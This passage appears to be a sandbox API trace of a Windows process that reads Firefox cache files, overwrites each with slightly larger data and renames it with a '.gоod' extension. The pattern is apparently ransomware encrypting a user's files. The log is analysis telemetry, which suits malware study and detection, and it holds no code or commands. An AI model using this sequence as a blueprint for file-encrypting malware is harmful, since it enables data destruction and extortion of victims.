lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\140445A2980512A346F4FF5725C0D44440B68C0A.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\140445a2980512a346f4ff5725c0d44440b68c0a.gоod")) returned 1 [0232.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", lpFilePart=0x0) returned 0x7f [0232.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0232.428] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), fInfoLevelId=0x0, lpFileInformation=0x3837ad8 | out: lpFileInformation=0x3837ad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139)) returned 1 [0232.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0232.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", lpFilePart=0x0) returned 0x7f [0232.428] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0232.428] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0232.428] GetFileType (hFile=0x828) returned 0x1 [0232.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0232.429] GetFileType (hFile=0x828) returned 0x1 [0232.429] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0232.429] ReadFile (in: hFile=0x828, lpBuffer=0x3838040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3838040*, lpNumberOfBytesRead=0x1fbeb0c8*=0x139, lpOverlapped=0x0) returned 1 [0233.802] CloseHandle (hObject=0x828) returned 1 [0233.802] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", lpFilePart=0x0) returned 0x7f [0233.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0233.856] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0233.856] GetFileType (hFile=0x828) returned 0x1 [0233.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0233.856] GetFileType (hFile=0x828) returned 0x1 [0233.856] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1139 [0233.856] WriteFile (in: hFile=0x828, lpBuffer=0x38fe558*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x38fe558*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0233.857] CloseHandle (hObject=0x828) returned 1 [0233.857] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", lpFilePart=0x0) returned 0x7f [0233.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0233.857] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0233.857] GetFileType (hFile=0x828) returned 0x1 [0233.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0233.857] GetFileType (hFile=0x828) returned 0x1 [0233.857] ReadFile (in: hFile=0x828, lpBuffer=0x39008c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x39008c0*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0234.039] CloseHandle (hObject=0x828) returned 1 [0234.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", lpFilePart=0x0) returned 0x7f [0234.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0234.039] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0234.039] GetFileType (hFile=0x828) returned 0x1 [0234.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0234.039] GetFileType (hFile=0x828) returned 0x1 [0234.039] WriteFile (in: hFile=0x828, lpBuffer=0x379ce70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x379ce70*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0234.039] CloseHandle (hObject=0x828) returned 1 [0234.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E", lpFilePart=0x0) returned 0x7f [0234.039] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E.gоod", lpFilePart=0x0) returned 0x84 [0234.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0234.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x87b5ad85, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1149)) returned 1 [0234.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0234.040] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BA7A2A080D9B70E5991F61EC521D7B59DB545E.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14ba7a2a080d9b70e5991f61ec521d7b59db545e.gоod")) returned 1 [0234.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", lpFilePart=0x0) returned 0x7f [0234.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0234.041] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), fInfoLevelId=0x0, lpFileInformation=0x382b4f8 | out: lpFileInformation=0x382b4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x72924653, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x333)) returned 1 [0234.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0234.041] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", lpFilePart=0x0) returned 0x7f [0234.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0234.041] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0234.041] GetFileType (hFile=0x828) returned 0x1 [0234.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0234.041] GetFileType (hFile=0x828) returned 0x1 [0234.041] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x333 [0234.042] ReadFile (in: hFile=0x828, lpBuffer=0x382bc28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x382bc28*, lpNumberOfBytesRead=0x1fbeb028*=0x333, lpOverlapped=0x0) returned 1 [0234.043] CloseHandle (hObject=0x828) returned 1 [0235.959] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", lpFilePart=0x0) returned 0x7f [0235.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0235.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.961] GetFileType (hFile=0x858) returned 0x1 [0235.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0235.961] GetFileType (hFile=0x858) returned 0x1 [0235.961] WriteFile (in: hFile=0x858, lpBuffer=0x3aaa0b8*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3aaa0b8*, lpNumberOfBytesWritten=0x1fbeaf38*=0x340, lpOverlapped=0x0) returned 1 [0235.962] CloseHandle (hObject=0x858) returned 1 [0235.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1", lpFilePart=0x0) returned 0x7f [0235.962] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1.gоod", lpFilePart=0x0) returned 0x84 [0235.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0235.962] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45aebce0, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x45aebce0, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x88daf06e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0235.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0235.962] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\14BF1B21A28D68D02D3CF7A0CA4D66159596ECD1.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\14bf1b21a28d68d02d3cf7a0ca4d66159596ecd1.gоod")) returned 1 [0235.963] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", lpFilePart=0x0) returned 0x7f [0235.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0235.963] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), fInfoLevelId=0x0, lpFileInformation=0x3aab458 | out: lpFileInformation=0x3aab458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d869ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2d869ef, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc2d869ef, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xadb)) returned 1 [0235.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0235.964] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", lpFilePart=0x0) returned 0x7f [0235.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0235.964] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0235.964] GetFileType (hFile=0x858) returned 0x1 [0235.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0235.964] GetFileType (hFile=0x858) returned 0x1 [0235.964] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0xadb [0235.964] ReadFile (in: hFile=0x858, lpBuffer=0x3aac380, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3aac380*, lpNumberOfBytesRead=0x1fbeb028*=0xadb, lpOverlapped=0x0) returned 1 [0235.966] CloseHandle (hObject=0x858) returned 1 [0237.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", lpFilePart=0x0) returned 0x7f [0237.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0237.782] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0237.783] GetFileType (hFile=0x85c) returned 0x1 [0237.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0237.783] GetFileType (hFile=0x85c) returned 0x1 [0237.783] WriteFile (in: hFile=0x85c, lpBuffer=0x37bd8e0*, nNumberOfBytesToWrite=0xae0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x37bd8e0*, lpNumberOfBytesWritten=0x1fbeaf38*=0xae0, lpOverlapped=0x0) returned 1 [0237.784] CloseHandle (hObject=0x85c) returned 1 [0237.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45", lpFilePart=0x0) returned 0x7f [0237.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45.gоod", lpFilePart=0x0) returned 0x84 [0237.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0237.784] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d869ef, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc2d869ef, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x89f1e0a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xae0)) returned 1 [0237.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0237.784] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\150eb071d854d5071a223eeb0639b4597c92fb45"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\150EB071D854D5071A223EEB0639B4597C92FB45.gоod" (normalized: 